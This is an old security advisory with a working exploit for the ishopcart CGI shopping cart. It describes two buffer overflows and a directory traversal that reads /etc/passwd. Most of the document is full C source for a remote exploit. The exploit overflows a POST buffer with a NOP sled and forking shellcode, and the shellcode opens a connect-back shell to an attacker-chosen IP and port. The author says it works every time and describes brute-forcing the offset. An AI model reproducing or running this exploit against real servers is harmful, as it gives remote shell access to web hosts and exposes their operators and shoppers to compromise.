ishopcart cgi 0day and multiple vulnerabilities

2006-06-05 / 2006-06-06
Risk: High
Local: No
Remote: Yes

Vendor: ishopcart inc Vendor Site: Vendor Status: notified via telephone While spending a night auditing I have found 2 buffer overflows and 1 directory traversal in the ishopcart cgi, which is written in C. The directory traversal is caused by how the cgi chooses to show pages. If, for example, the CGI is tould to show an order form, the order form's name is taken as argv[1] and opens this file and prints it, ie: /cgi-bin/easy-scart.cgi?../../../../../../../etc/passwd The first buffer overflow is in main()'s szTmp[100] variable. argv[1] is placed in this variable through a sprintf, although no check is made on the size of argv[1] before putting it in szTmp: sprintf(szTmp,"%s",argv[1]); The other buffer overflow (of which I have succesfuly exploited) lies in main() also, but is overflowed in vGetPost(). char szBuf[4000]; is passed to vGetPost() under the circumstance that argv[1] contains specific criteria. vGetPost() reads POST data until the word "Submit" is encountered, doing absolutely no bounds checking on the ammount of data supplied. When notified via telephone, the author claimed to be in the process of fixing these errors, and at the same time took offline. Provided is the exploit code that spawns a connect back shell. It has been tested both localy and remotely and has proved to work 100% The real issue lies in the fact that this is a shopping cart system. Also, since this is a cgi script, apache forks before executing it and hence does not die on unsuccessful attempts, meaning that combined with a massive 4000 NOP buffer, brute forcing of the offset is possible leading to a theoretical 100% probability of remote code execution. The good news is that this program doesn't seem to be common. If you you would like to view the site and the code, search 'ishopcart' on google and click it's cached link, then hit the source code link and you'll see easy-scart.c through easy-scart6.c (all, of which, are vulnerable) --K-sPecial /* Creator: K-sPecial ( of .aware ( * Name: ishopcart-cgi-bof.c (<= easy-scart6.c) * Date: 5/25/2006 * Version: * 1.00 (5/25/2006) - ishopcart-cgi-bof.c created * * Description: there is an overflow in the vGetPost() function, it does not do any size checking on the inputed data but instead * reads until the word "Submit" is encountered, in turn overflowing pszBuf which points to a 4000 byte buffer in main(). Complete * code execution is spawned, with the code being a connectback shell. * * Notes: I could not for the life of me find any connect back shellcode that forks! This code needed to fork because apache * was killing the connect back process as soon as it connected. So, in turn, I have modified netric's callback shellcode with * some forking shellcode to accomplish the workaround. * * Compile: gcc -o icb ishopcart-cgi-bof.c -std=c99 */ #include <stdio.h> #include <sys/socket.h> #include <sys/types.h> #include <arpa/inet.h> #include <netdb.h> #include <string.h> #include <getopt.h> #include <errno.h> #include <stdlib.h> #define PORT 80 #define CB_PORT 31337 #define IP_OFFSET 33 + 13 #define PORT_OFFSET 39 + 13 // + 13 to these for the new forking mod added to cb[] #define OFFSET 0x41414141 // find your own damn offset, the code works 100% any fault is on yourself void changeip(char *ip); void changeport(char *code, int port, int offset); void help(void); // netric callback shellcode char cb[] = "x31xc0x31xdb" "xb0x02" // movb $0x2,%al / sys_fork (2) "xcdx80" // int $0x80 "x38xc3" // cmpl %ebx,%eax / check if child; %eax = 0x0 "x74x05" // je 0x5 / jump after the exit if we're the child // sys_exit (1) "x8dx43x01" // leal 0x1(%ebx),%eax / sys_exit (1) if we're the parent "xcdx80" // int $0x80 / interrupt 80 to execute sys_exit "x31xc9x51xb1" "x06x51xb1x01x51xb1x02x51" "x89xe1xb3x01xb0x66xcdx80" "x89xc2x31xc0x31xc9x51x51" "x68x41x42x43x44x66x68xb0" "xefxb1x02x66x51x89xe7xb3" "x10x53x57x52x89xe1xb3x03" "xb0x66xcdx80x31xc9x39xc1" "x74x06x31xc0xb0x01xcdx80" "x31xc0xb0x3fx89xd3xcdx80" "x31xc0xb0x3fx89xd3xb1x01" "xcdx80x31xc0xb0x3fx89xd3" "xb1x02xcdx80x31xc0x31xd2" "x50x68x6ex2fx73x68x68x2f" "x2fx62x69x89xe3x50x53x89" "xe1xb0x0bxcdx80x31xc0xb0" "x01xcdx80"; int main (int argc, char **argv) { int sock; unsigned offset = OFFSET, ipaddr, i = 0; unsigned short port = PORT, cbport = CB_PORT; struct sockaddr_in server; char *host, *location, *cbip, buff[5120], opt; host = location = cbip = 0; while ((opt = getopt(argc, argv, "i:p:o:l:1:2:h")) != -1) { switch(opt) { case 'i': host = optarg; break; case 'p': sscanf(optarg, "%hu", &port); break; case 'o': sscanf(optarg, "%x", &offset); break; case 'l': location = optarg; break; case '1': cbip = optarg; break; case '2': sscanf(optarg, "%hu", &cbport); break; } } if (!(host && location && cbip)) { puts("-!> a required argument was missingn"); help(); exit(1); } changeip(cbip); changeport(cb, cbport, PORT_OFFSET); if ((sock = socket(PF_INET, SOCK_STREAM, 0)) == -1) { printf("socket() error: %sn", strerror(errno)); exit(1); } server.sin_port = htons(port); if ((ipaddr = inet_addr(host)) == -1) { struct hostent *myhost; if ((myhost = gethostbyname(host)) == 0) { printf("-!> failed to resolve host '%s'n", host); exit(1); } memcpy((char*) &server.sin_addr, myhost->h_addr, myhost->h_length); } else server.sin_addr.s_addr = ipaddr; server.sin_family = AF_INET; memset(&(server.sin_zero), 0, 8); if (connect(sock, (struct sockaddr *) &server, sizeof(server)) != 0) { printf("-!> connect() to '%s:%hu' failed: %sn", host, port, strerror(errno)); exit(1); } sprintf(buff, "GET %s?sslinvoice HTTP/1.1nHost: %snContent-Length: %unn", location, host, 4000 + sizeof(cb) + 512 - 1 + strlen("Submit")); send(sock, buff, strlen(buff), 0); for (0; i < 4000; i++) *(buff+i) = 0x90; for (unsigned a = 0; a < sizeof(cb) - 1; i++, a++) *(buff+i) = *(cb+a); for (unsigned a = 0; a < 128; i += 4, a++) memcpy(buff+i, &offset, 4); strcpy(buff+4000+sizeof(cb)+512 - 1, "Submitn"); send(sock, buff, 4000 + sizeof(cb) + 512 - 1 + strlen("Submit"), 0); } void help (void) { char *string = "ishopcart CGI shopcart buffer overflow exploit by K-sPecial ( of .aware ( GPL (5/24/2006)nn" "-i <%s> t - specifies the vulnerable host; default 80n" "-p [%hu] t - specifies the vulnerable host's portn" "-l <%s> t - specifies the vulnerable CGI locationn" "-o [%x] t - forces an explicit offsetn" "-1 <%s> t - specifies the connect back ipn" "-2 [%hu] t - specifies the connect back port; default 31337n" "-h t - shows this helpn"; puts(string); } void changeip(char *ip) { char *ptr; ptr=cb+IP_OFFSET; /* Assume Little-Endianess.... */ *((long *)ptr)=inet_addr(ip); } // ripped from some of snooq's code void changeport(char *code, int port, int offset) { char *ptr; ptr=code+offset; /* Assume Little-Endianess.... */ *ptr++=(char)((port>>8)&0xff); *ptr++=(char)(port&0xff); }

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